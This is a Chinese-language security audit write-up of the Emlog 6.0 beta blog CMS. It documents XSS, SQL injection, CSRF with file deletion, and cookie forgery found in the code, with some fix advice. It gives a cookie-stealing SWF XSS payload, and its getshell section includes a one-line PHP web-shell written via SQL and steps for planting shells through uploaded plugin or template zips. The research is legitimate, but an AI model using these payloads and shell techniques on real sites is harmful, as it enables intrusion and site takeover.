Emlog 6.0 beta版本,這可能是最后一篇關于PHP語言CMS的代碼審計文章,此次將詳細記錄完整的審計過程。
文章基本上完整記錄小東的對此CMS
審計過程,或許顯得繁瑣,但代碼審計的過程就是這樣,發現可能項,然后精心構造去驗證,這過程中我們會遇到很多次碰壁,堅持測試,思維活躍一些,基本都會有所收獲,誠摯希望后來者能夠耐心閱讀下去,當然最好也能夠有所啟發。
大家需要注意的一點是,代碼審計是為了學習并在SDL中避免發生類似的錯誤,同時也是幫助開源系統修復相關問題,并不是去為了獲得什么0day~
0×00 Emlog 6.0 beta
官網地址:https://www.emlog.net/
Emlog 6.0 beta
下載地址:https://www.emlog.net/download
由于官方限制論壇會員(注冊付費)才可下載,這里提供一個原版下載地址:https://www.lanzous.com/i1l5gad
文件校驗:
文件: C:\Users\stdy\Desktop\emlog_6.0.0.zip 大小: 607725 字節 修改時間: 2018年8月6日, 20:53:50 MD5: 7844FE6FEAE7AF68052DC878B8811FAC SHA1: E06A050D2A0AA879DB9F5CFCAA4703B6AC7B8352 CRC32: 4963E489
博主的博客就是基于此套博客系統,其實很多圈內大佬都在使用,對于本款CMS
的審計文章卻并沒有,小東就來以此CMS
作為PHP代碼審計
的封筆之作。
0×01 初步測試
首先,我們得先安裝!安裝成功后的首頁界面:
默認后臺登陸地址:./admin/
登陸成功后:
閑話一句,感覺6.0
比5.3.1
版本好看太多了~
安裝過后,我們應該盡可能全面搜集關于此CMS
的信息,這對于我們審計代碼有很大的幫助。
所以,分析得到此CMS
的大致結構,Emlog
是一個?MVC
?的設計模式,大致的結構如圖:
因此我們主要會分析?admin
?和?include
?文件夾下的文件。
數據庫表:
在根目錄的init.php
?文件中
報錯等級指定為7
:
<?php
//禁用錯誤報告
error_reporting(0);//報告運行時錯誤 error_reporting(E_ERROR | E_WARNING | E_PARSE); //報告所有錯誤 error_reporting(E_ALL); error_reporting(7); /* 設置php錯誤檢測級別 E_ERROR - 致命性運行時錯 (1) E_WARNING - 運行時警告(非致命性錯)(2) E_PARSE - 編譯時解析錯誤 (4) 1+2+4 = 7 */ ?>
0×02 使用漏洞掃描器
可能有朋友就會說你為什么要使用“漏掃”吶?不是代碼審計嗎?
這里要糾正一下這個觀點,漏掃其實就是一個自動化黑盒測試,在本地環境下,我們不會影響任何的業務。
通過漏掃出的漏洞能夠方便我們快速定位漏洞位置,這樣是一種高效的方式,這也是在團隊里的成員通過漏掃Get
了百度的幾個高危漏洞給小東的啟示。
這里使用了一款重型掃描器?AWVS
?,得到的報告如下:
不過在本地掃描時,使用的是?XAMPP
?windows10
?PHP5.6
的環境,所以導致漏洞報告中很多誤報,漏掃主要掃描出了幾個XSS漏洞
和CSRF漏洞
所以我們首先驗證這兩類的漏洞
0×03 文章編輯器儲存性XSS
在后臺的編輯器處,編輯文章./admin/admin_log.php
成功發布后,來到首頁
進入文章頁后
都彈窗了,這里大家可能要說沒法兒利用,但是emlog
設計了?會員/作者
?功能,在emlog
中的某些模版中可以前臺注冊會員,會員登錄后可以編輯發表文章,評論等等功能。Emlog
官方還提供了文章投稿插件,都是調用了官方默認的Kindeditor
編輯器,這個編輯器自帶HTML編輯模式
,就算不帶這個模式,攻擊者也可以抓包修改達到攻擊目的。
為什么前臺沒過濾吶?為了文章有支持HTML
代碼輸出,所以對于kindeditor
的保存輸出內容并沒有轉義。
修復建議:參考其他CMS
做好文章內容關鍵詞的檢測,并做好過濾或者轉義
0×04 Uploadify SWF XSS
Emlog
使用了?uploadify.swf
?的方式上傳文件,文件路徑?/include/lib/js/uploadify/uploadify.swf
構造Payload:http://www.test.com//include/lib/js/uploadify/uploadify.swf?uploadifyID=00%22%29%29;}catch%28e%29{alert%281%29;}//%28%22&movieName=%22])}catch(e){if(!window.x){window.x=1;alert(document.cookie)}}//&.swf
效果,可無視瀏覽器filter
:
0×05 反射型XSS
此處的XSS
主要發生在cookie
上,因為某些頁面如?admin/admin_log
,admin/sort.php
,admin/link.php
頁面需要在表單中添加了hidden
屬性的token
值,而這個token
值直接從用戶的cookie
中取得,導致了一個反射型XSS
攔截抓包修改cookie
中的token
值如下:
效果:
其次驗證了?CSRF
?漏洞,這個是前臺的搜索框的CSRF
根本沒什么價值
然后是管理員添加友情鏈接的XSS
,經過驗證并不存在,后臺函數會限制字數
然后就是我們開始進行原始的代碼審計工作了,主要借用了
Seay代碼審計工具
和Rips
,這種審計工具主要依靠正則匹配可能導致危險的php函數
來作為可能存在漏洞的判斷,半自動化的方式,在一定程度上緩解了代碼審計的壓力。
0×06 基本函數
首先看了一下文件操作相關的函數,發現經常用到?View::getView
?這一方法,
在include/lib/view.php
?文件中,源碼如下:
<?php
/*** 視圖控制* @copyright (c) Emlog All Rights Reserved*/class View { public static function getView($template, $ext = '.php') { if (!is_dir(TEMPLATE_PATH)) { emMsg('當前使用的模板已被刪除或損壞,請登錄后臺更換其他模板。', BLOG_URL . 'admin/template.php'); } return TEMPLATE_PATH . $template . $ext; } public static function output() { $content = ob_get_clean(); ob_start(); echo $content; ob_end_flush(); exit; } }
同時作為權限控制的?LoginAuth::checkToken()
,在?\include\lib\loginauth.php
下約209行開始
/**
* 生成token,防御CSRF攻擊
*/
public static function genToken() { $token_cookie_name = 'EM_TOKENCOOKIE_' . md5(substr(AUTH_KEY, 16, 32) . UID); if (isset($_COOKIE[$token_cookie_name])) { return $_COOKIE[$token_cookie_name]; } else { $token = md5(getRandStr(16)); setcookie($token_cookie_name, $token, 0, '/'); return $token; } } /** * 檢查token,防御CSRF攻擊 */ public static function checkToken(){ $token = isset($_REQUEST['token']) ? addslashes($_REQUEST['token']) : ''; if ($token != self::genToken()) { emMsg('權限不足,token error'); } }
驗證了Rips
掃描出的文件包含問題(第一次使用Rips
),發現無法復現,因為Rips
掃描的時候是以文件形式,并沒有參照程序的嚴格邏輯,導致的誤報!
來到?\admin\admin_log.php
?文件,從第78行開始:
//操作文章
if ($action == 'operate_log') {$operate = isset($_REQUEST['operate']) ? $_REQUEST['operate'] : ''; $pid = isset($_POST['pid']) ? $_POST['pid'] : ''; $logs = isset($_POST['blog']) ? array_map('intval', $_POST['blog']) : array(); $sort = isset($_POST['sort']) ? intval($_POST['sort']) : ''; $author = isset($_POST['author']) ? intval($_POST['author']) : ''; $gid = isset($_GET['gid']) ? intval($_GET['gid']) : ''; LoginAuth::checkToken(); if ($operate == '') { emDirect("./admin_log.php?pid=$pid&error_b=1"); } if (empty($logs) && empty($gid)) { emDirect("./admin_log.php?pid=$pid&error_a=1"); } switch ($operate) { case 'del': foreach ($logs as $val) { doAction('before_del_log', $val); $Log_Model->deleteLog($val); doAction('del_log', $val); } $CACHE->updateCache(); if ($pid == 'draft') { emDirect("./admin_log.php?pid=draft&active_del=1"); } else{ emDirect("./admin_log.php?active_del=1"); } break; case 'top': foreach ($logs as $val) { $Log_Model->updateLog(array('top'=>'y'), $val); } emDirect("./admin_log.php?active_up=1"); break; case 'sortop': foreach ($logs as $val) { $Log_Model->updateLog(array('sortop'=>'y'), $val); } emDirect("./admin_log.php?active_up=1"); break; case 'notop': foreach ($logs as $val) { $Log_Model->updateLog(array('top'=>'n', 'sortop'=>'n'), $val); } emDirect("./admin_log.php?active_down=1"); break; case 'hide': foreach ($logs as $val) { $Log_Model->hideSwitch($val, 'y'); } $CACHE->updateCache(); emDirect("./admin_log.php?active_hide=1"); break; ...//中間的代碼要驗證管理身份,故省略 case 'uncheck': if (ROLE != ROLE_ADMIN) { emMsg('權限不足!','./'); } $Log_Model->checkSwitch($gid, 'n'); $CACHE->updateCache(); emDirect("./admin_log.php?active_unck=1"); break; } }
那么我們嘗試越權刪除文章?http://www.test.com/admin/admin_log.php?action=operate_log&operate=del&blog=29&token=994132a26661c8c244a91063c4701a7e
?失敗了提示權限不足,來到\include\model\log_model.php
?發現
/*** 刪除文章** @param int $blogId*/
function deleteLog($blogId) { $author = ROLE == ROLE_ADMIN ? '' : 'and author=' . UID; $this->db->query("DELETE FROM " . DB_PREFIX . "blog where gid=$blogId $author"); //這里和上一句限制了作者只能刪除自己的文章 if ($this->db->affected_rows() < 1) { emMsg('權限不足!', './'); } // 評論 $this->db->query("DELETE FROM " . DB_PREFIX . "comment where gid=$blogId"); // 標簽 $this->db->query("UPDATE " . DB_PREFIX . "tag SET gid= REPLACE(gid,',$blogId,',',') WHERE gid LIKE '%" . $blogId . "%' "); $this->db->query("DELETE FROM " . DB_PREFIX . "tag WHERE gid=',' "); // 附件 $query = $this->db->query("select filepath from " . DB_PREFIX . "attachment where blogid=$blogId "); while ($attach = $this->db->fetch_array($query)) { if (file_exists($attach['filepath'])) { $fpath = str_replace('thum-', '', $attach['filepath']); if ($fpath != $attach['filepath']) { @unlink($fpath); } @unlink($attach['filepath']); } } $this->db->query("DELETE FROM " . DB_PREFIX . "attachment where blogid=$blogId"); }
這個越權漏洞不存在,同時看了下面的函數判斷也是做了類似的處理
到這里其實我們對于整個?CMS
?的架構已經較為熟悉了,基本能根據對應函數功能,直接手動找到對應的函數位置。
令人傷心的是,通過?Rips
?代碼審計工具得到的結果,一個都沒復現成功…
###0×07 Seay輔助審計
相信很多人都知道法師的這款工具,主要還是因為中文,用著方便,但是完全依靠正則的方式去匹配函數,只能發現那些函數直接的控制漏洞,邏輯漏洞有時候可以根據逆推可以發現,但這種情況很少。
使用這款工具掃描出來共120
個可能的情況(根據經驗98%
以上都是沒法復現的),然后一個個排查,有的例如SQL
語句反單引號這樣的,很容易就可以判斷給忽律,就不需要考慮。
在?/admin/store.php
?看到這樣一串代碼:
這里我的思考是,如果在emlog
官網有URL
跳轉鏈接的話,那么就可以構造下載遠程任意的文件到網站,但是測試了官網沒有跳轉鏈接,那么我們嘗試下載別的插件(鏈接跳轉等),或者有黑客精心構造了一個插件或者模版,然后再利用,這也算是一個可行的方案。
此處需要管理員權限,作為代碼審計的一個參考思路,不是要發現什么0day
,而是希望大家能夠在代碼審計方面有所收獲。
(1). SQL注入
對于SQL注入
,Seay工具
一直都沒準過,這里小東推薦方式,使用全局搜索?$_GET[
?或?$_PSOT[
,然后看看是否代入了SQL
查詢,然后一一驗證。
然后我發現了這樣一個沒有過濾IP參數
然后到?admin/comment.php
?中查看
再看?delCommentByIp($ip)
?函數
由此我們可以確定了SQL
注入的存在
驗證如下:
(2).一個CSRF+任意文件刪除
$_GET[]
型分析完以后,就尋找$_POST[]
的,然后在admin/data.php
文件中找到了如下代碼
這里我們發現,并沒有驗證toknen
,那么可以構造csrf
頁面,這里小東就不演示了,直接BURP
驗證一下任意文件刪除吧,關于CSRF
,只要沒有調用上面基礎函數部分說到的?LoginAuth::checkToken()
?方法的,都存在CSRF
這里就成功刪除了文件
(3).TAG SQL注入
在POST參數中發現此處并沒有過濾,同時在?deleteTag()
?函數中,代入了SQL
查詢,因此又是一個SQL注入
但是此處并沒有回顯。可以采用時間盲注的方式
至此,利用工具的半自動化審計已經結束,下面準備手工測試
0×08 手工測試
手工測試也不是單純的翻文件,應當以灰盒測試為主導,從邏輯
、權限
、敏感信息
等方面入手
(1).后臺登陸存在暴力破解風險
在這里,我之前提到過的驗證碼未及時銷毀的歷史問題還存在,此處不再詳細敘述,請參考https://blog.csdn.net/dyboy2017/article/details/78433748
(2).報錯信息導致物理路徑泄漏
大家不要以為這是小事情,當sql注入
存在的時候,我們有機會是可以直接寫shell
文件,安全無小事
一個低權限的方式,在游客的條件下測試一下
payload:http://www.test.com/admin/attachment.php?action[]=
原因是:addslashes() expects parameter 1
(3).Cookie可計算
在include/lib/loginauth.php
中134
行開始
/*** 寫用于登錄驗證cookie** @param int $user_id User ID* @param bool $remember Whether to remember the user or not*/
public static function setAuthCookie($user_login, $ispersis = false) { if ($ispersis) { $expiration = time() + 3600 * 24 * 30 * 12; } else { $expiration = null; } $auth_cookie_name = AUTH_COOKIE_NAME; $auth_cookie = self::generateAuthCookie($user_login, $expiration); setcookie($auth_cookie_name, $auth_cookie, $expiration,'/'); } /** * 生成登錄驗證cookie * * @param int $user_id user login * @param int $expiration Cookie expiration in seconds * @return string Authentication cookie contents */ private static function generateAuthCookie($user_login, $expiration) { $key = self::emHash($user_login . '|' . $expiration); $hash = hash_hmac('md5', $user_login . '|' . $expiration, $key); $cookie = $user_login . '|' . $expiration . '|' . $hash; return $cookie; }
可以看到此處的cookie都可以直接計算得到,只需要知道根目錄下config.php中的
//auth key
define('AUTH_KEY','dx1&CH^En86GZnxd9CLO7GwC0Q5eYHKM450f598bbd148b6a62f7d263623e31c3');
//cookie name
define('AUTH_COOKIE_NAME','EM_AUTHCOOKIE_VzfVniPWDqd1LM3BFocnrcjpAGH4lUbz');
即可。
(4).側邊欄存儲性XSS
為了同樣是為了支持HTML
代碼的輸出,沒有轉義對應的腳本代碼標簽,導致了存儲性的XSS
存在
0×09 Getshell
(1).SQL注入拿到shell
如上所講有SQL注入的存在,同時可以獲取到物理路徑,那么就可以直接寫Shell
(2).后臺插件上傳zip
因為后臺可以直接上傳本地zip文件,這里我們去官網下載一個插件,同時把我們的shell文件(比如dyboy.php)加入zip,上傳安裝這個插件就可以了,然后shell地址為:http://www.test.com/content/plugins/插件名/dyboy.php
(3).后臺模版上傳zip
和插件同樣的原理,這里的shell地址為:http://www.test.com/content/templates/模版名/dyboy.php
(4).備份文件拿shell
后臺的數據功能處,先備份一個,然后下載到本地,加入SELECT "<?php @assert($_POST['dyboy'])?>" into outfile 'D:\\Server\\htdocs\\safe\\dyboy.php';
然后導入備份恢復本地數據即可
這樣就在網站個目錄生成了一個dyboy.php
的shell
0×10 總結
EMLOG
是一個非常小巧輕快的博客系統,運行占用資源非常低,所以非常適合博主用作博客用途,其實只要不開啟會員功能,沒有弱口令就沒有什么大的威脅。以此文章作為PHP代碼審計的終稿
,文章所述方法同樣適用于其他的CMS代碼審計
和分析,創作不易,也希望本文章能對大家能有所啟示。